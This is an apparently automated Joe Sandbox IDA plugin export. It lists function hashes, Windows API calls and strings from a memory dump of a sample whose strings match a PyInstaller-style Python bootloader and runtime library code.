Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4baa1918ae36fbaba1f0c4c13332a4bc8c2fe618b431c1ec6b7f8f21172b3378
Instruction ID: 6272f4aaa11853f9d5d8a92bf374c923dd941ac878541f69c8db8ac34755c4c0
Opcode Fuzzy Hash: 4baa1918ae36fbaba1f0c4c13332a4bc8c2fe618b431c1ec6b7f8f21172b3378
Instruction Fuzzy Hash: 87319132B1CB9292E764BF25648013E7A9AAF84B90F144238EE9D97BD5DF3CD0029704

Function 00007FF640508880 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
Instruction ID: 05e447ec61a57a95752b7e561440a4be7ef652e0940d6b2a075bc6ce40a1ed1d
Opcode Fuzzy Hash: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
Instruction Fuzzy Hash: 8DF06271B1C2A59EDBA8FF29A90266977D0FB183C4F80943DE69DC3B04DA7C90608F04

Function 00007FF6404EC62C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction ID: 06b182b58ba5db00e627f57bff0f8bf30ca06e1ede1175a8c7baab098e84c7f6
Opcode Fuzzy Hash: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction Fuzzy Hash: 95A0012592C836E0EA58BB14A99012A2220FB51705B401131D02D812A09F2CA8018350

Function 00007FF6404E50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E50C0
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5101
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5126
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E514B
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5173
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E519B
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E51C3
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E51EB
GetProcAddress.KERNEL32(?,00007FF6404E5C57,?,00007FF6404E308E), ref: 00007FF6404E5213

Strings

PyImport_AddModule, xrefs: 00007FF6404E53E9, 00007FF6404E5405
PyMarshal_ReadObjectFromString, xrefs: 00007FF6404E5489, 00007FF6404E54A5
Py_PreInitialize, xrefs: 00007FF6404E51B9, 00007FF6404E51D5
PyUnicode_FromString, xrefs: 00007FF6404E5731, 00007FF6404E574D
PyObject_GetAttrString, xrefs: 00007FF6404E5551, 00007FF6404E556D
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6404E55C9, 00007FF6404E55E5
PyConfig_SetBytesString, xrefs: 00007FF6404E5259, 00007FF6404E5275
PyConfig_Read, xrefs: 00007FF6404E5231, 00007FF6404E524D
Py_DecodeLocale, xrefs: 00007FF6404E50F7, 00007FF6404E5113
PyRun_SimpleStringFlags, xrefs: 00007FF6404E55F1, 00007FF6404E560D
PySys_SetObject, xrefs: 00007FF6404E5669, 00007FF6404E5685
PyUnicode_Replace, xrefs: 00007FF6404E5781, 00007FF6404E579D
PyConfig_Clear, xrefs: 00007FF6404E51E1, 00007FF6404E51FD
PyObject_CallFunctionObjArgs, xrefs: 00007FF6404E5529, 00007FF6404E5545
PyConfig_SetString, xrefs: 00007FF6404E5281, 00007FF6404E529D
PyUnicode_Join, xrefs: 00007FF6404E5759, 00007FF6404E5775
PyUnicode_AsUTF8, xrefs: 00007FF6404E5691, 00007FF6404E56AD
PyStatus_Exception, xrefs: 00007FF6404E5619, 00007FF6404E5635
PyMem_RawFree, xrefs: 00007FF6404E54B1, 00007FF6404E54CD
PyUnicode_FromFormat, xrefs: 00007FF6404E5709, 00007FF6404E5725
PyConfig_SetWideStringList, xrefs: 00007FF6404E52A9, 00007FF6404E52C5
Py_DecRef, xrefs: 00007FF6404E50B6, 00007FF6404E50D2
PyErr_NormalizeException, xrefs: 00007FF6404E5321, 00007FF6404E533D
PySys_GetObject, xrefs: 00007FF6404E5641, 00007FF6404E565D
PyErr_Occurred, xrefs: 00007FF6404E5349, 00007FF6404E5365
PyErr_Fetch, xrefs: 00007FF6404E52F9, 00007FF6404E5315
PyImport_ExecCodeModule, xrefs: 00007FF6404E5411, 00007FF6404E542D
PyObject_SetAttrString, xrefs: 00007FF6404E5579, 00007FF6404E5595
PyImport_ImportModule, xrefs: 00007FF6404E5439, 00007FF6404E5455
PyUnicode_Decode, xrefs: 00007FF6404E56B9, 00007FF6404E56D5
Py_Finalize, xrefs: 00007FF6404E5141, 00007FF6404E515D
Failed to get address for %hs, xrefs: 00007FF6404E50D9
Py_ExitStatusException, xrefs: 00007FF6404E511C, 00007FF6404E5138
Py_IsInitialized, xrefs: 00007FF6404E5191, 00007FF6404E51AD
Py_InitializeFromConfig, xrefs: 00007FF6404E5169, 00007FF6404E5185
PyErr_Clear, xrefs: 00007FF6404E52D1, 00007FF6404E52ED
PyErr_Print, xrefs: 00007FF6404E5371, 00007FF6404E538D
PyEval_EvalCode, xrefs: 00007FF6404E53C1, 00007FF6404E53DD
PyObject_CallFunction, xrefs: 00007FF6404E5501, 00007FF6404E551D
PyList_Append, xrefs: 00007FF6404E5461, 00007FF6404E547D
PyModule_GetDict, xrefs: 00007FF6404E54D9, 00007FF6404E54F5
PyObject_Str, xrefs: 00007FF6404E55A1, 00007FF6404E55BD
PyConfig_InitIsolatedConfig, xrefs: 00007FF6404E5209, 00007FF6404E5225
GetProcAddress, xrefs: 00007FF6404E50E0
PyErr_Restore, xrefs: 00007FF6404E5399, 00007FF6404E53B5
PyUnicode_DecodeFSDefault, xrefs: 00007FF6404E56E1, 00007FF6404E56FD

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 749e0cb1e1f514267acb106d647e8661d968cbb92c6662e071f59433196bb520
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: 28129B6491EF23F1FA5DFB04AA542B827B0EF06758F945435D82E923A0EF7CB5488781

Function 00007FF6404E77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6404E7C97,?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E782C

Part of subcall function 00007FF6404E26C0: MessageBoxW.USER32 ref: 00007FF6404E2736

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6404E796D
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6404E7840
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6404E78D9
CreateDirectory, xrefs: 00007FF6404E7974
\, xrefs: 00007FF6404E7861
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6404E7803
%.*s, xrefs: 00007FF6404E790C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6404E789D

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
Instruction ID: 506f906f73d081f3596a968a9d7fb226fe389954db74e8cd44959733c381078a
Opcode Fuzzy Hash: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
Instruction Fuzzy Hash: BA41F421B2C663F0FB64FB24E955ABA6261FFA4794F404031DA5EC2796EF7CE1048780

Function 00007FF6404E20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6404E211B
SelectObject.GDI32 ref: 00007FF6404E2162
DrawTextW.USER32 ref: 00007FF6404E2185
SelectObject.GDI32 ref: 00007FF6404E219B
ReleaseDC.USER32 ref: 00007FF6404E21AB
MoveWindow.USER32 ref: 00007FF6404E21FB
MoveWindow.USER32 ref: 00007FF6404E223B
MoveWindow.USER32 ref: 00007FF6404E228E
MoveWindow.USER32 ref: 00007FF6404E22D6

Strings

P%, xrefs: 00007FF6404E216F

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction ID: 0bb270964456ae748b4171e7974fb360b430edc69f1fa457c445cd47c0f1082c
Opcode Fuzzy Hash: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction Fuzzy Hash: 9F51E7266187B186D638AF22A4581BAB7A1F798B65F004121EBDE83785DF3CD145CB10

Function 00007FF6404F55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5C6C

Strings

f, xrefs: 00007FF6404F5705
:, xrefs: 00007FF6404F579C
p, xrefs: 00007FF6404F5695
p, xrefs: 00007FF6404F570D
-, xrefs: 00007FF6404F5679

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction ID: 6150a35bbfd0bdb68179f1490fd94ae10eb20f80981f7a2d76f33139792ec363
Opcode Fuzzy Hash: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction Fuzzy Hash: 2612C371E0C263E6FB24BA15E04467976ABFB40750F944136D79A87BC4DF7CE9908B08

Function 00007FF6404F02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F098F

Strings

f, xrefs: 00007FF6404F0575
p, xrefs: 00007FF6404F0432
f, xrefs: 00007FF6404F042A
p, xrefs: 00007FF6404F03CD
f, xrefs: 00007FF6404F03C0

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction ID: 82c57626d964c7d9075061fb34f581e1ae40eef3a7784c578c79fdee3959bacb
Opcode Fuzzy Hash: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction Fuzzy Hash: 35128F62E0C163E6FB24BA54E0546BA729BFBD0754F884132E799C67C4DF7CE8908B50

Function 00007FF6404E1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E1097
malloc, xrefs: 00007FF6404E10FC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E10C5
fseek, xrefs: 00007FF6404E10CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E11D0
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6404E10F5
fread, xrefs: 00007FF6404E11D7

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 45dfc7f00dc9632ed242b6349cf87e240aa27d4f6be10d3660cfae318ddcc709
Instruction ID: 9dfc91e0b643ff0b8b8168621ef1689b97bd1324d605cd508c8a7474870964f6
Opcode Fuzzy Hash: 45dfc7f00dc9632ed242b6349cf87e240aa27d4f6be10d3660cfae318ddcc709
Instruction Fuzzy Hash: BA419231B4C663E2FA24FB12A9406BAA391FF89BC4F444431DE5D87BA5DE3CE5458380

Function 00007FF6404E1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E146F
malloc, xrefs: 00007FF6404E14E0
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E14A9
fseek, xrefs: 00007FF6404E14B0
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E159A
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6404E14D9
fread, xrefs: 00007FF6404E15A1

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 2350b7d1145e8963a43e8e89a63d3c578f396847fa6f05d2074e998f568e28cd
Instruction ID: 455708967c697a7a751e8e5b98a73296f6f9c874213de976e6b7dfda8cda0fd9
Opcode Fuzzy Hash: 2350b7d1145e8963a43e8e89a63d3c578f396847fa6f05d2074e998f568e28cd
Instruction Fuzzy Hash: 8341BF32B4C663E2FA24FB15A9405BA63A0FF84BD4F444432DE5E87BA5EE3CE5418740

Function 00007FF6404EDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6404EDD85

Part of subcall function 00007FF6404EECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6404EED1F
Part of subcall function 00007FF6404EECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6404EED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6404EDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6404EE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6404EE1B8

Strings

csm, xrefs: 00007FF6404EDD9F
csm, xrefs: 00007FF6404EDE80
csm, xrefs: 00007FF6404EDE06

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction ID: b7835b3a952e6b23f43904783f28ca2b998240ee58df873890d39408928fee2c
Opcode Fuzzy Hash: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction Fuzzy Hash: 2ED14C32A0CB61DAEB20FB6594403AD77A0FB55798F104235EE8D97B96DF38E581C780

Function 00007FF6404ECFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED06D
GetLastError.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED0A5
FreeLibrary.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED113
GetProcAddress.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED11F

Strings

api-ms-, xrefs: 00007FF6404ED08D

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: 0a577c0a8e8f3bba22f2a6c7fa658903c5fe1a473d615a13009d932257db2ec8
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: B131C221A1EA62E1EE15FB12A9006797394FF49BA8F5E4635DD2D87380EF3CE4468340

Function 00007FF6404FA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6404FA46F
FlsGetValue.KERNEL32 ref: 00007FF6404FA484
FlsSetValue.KERNEL32 ref: 00007FF6404FA4A5
FlsSetValue.KERNEL32 ref: 00007FF6404FA4D2
FlsSetValue.KERNEL32 ref: 00007FF6404FA4E3
FlsSetValue.KERNEL32 ref: 00007FF6404FA4F4
SetLastError.KERNEL32 ref: 00007FF6404FA50F

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 55a13e5d0c2be300fd0aa5feb7cab341fb5be024435351ef1c8ee5a0da484fed
Instruction ID: 77a884a90357f97bee4cac1bb6da1c9681f41745507edee62d68497be7733232
Opcode Fuzzy Hash: 55a13e5d0c2be300fd0aa5feb7cab341fb5be024435351ef1c8ee5a0da484fed
Instruction Fuzzy Hash: 30219D24F4C662F2FA68B722564917D218BAF887B0F044734E83ECBBD6DE6CB4108701

Function 00007FF64050707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6405070AD
GetLastError.KERNEL32 ref: 00007FF6405070B9
CloseHandle.KERNEL32 ref: 00007FF6405070D1
CreateFileW.KERNEL32 ref: 00007FF6405070FC
WriteConsoleW.KERNEL32 ref: 00007FF64050711B

Strings

CONOUT$, xrefs: 00007FF6405070DD

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

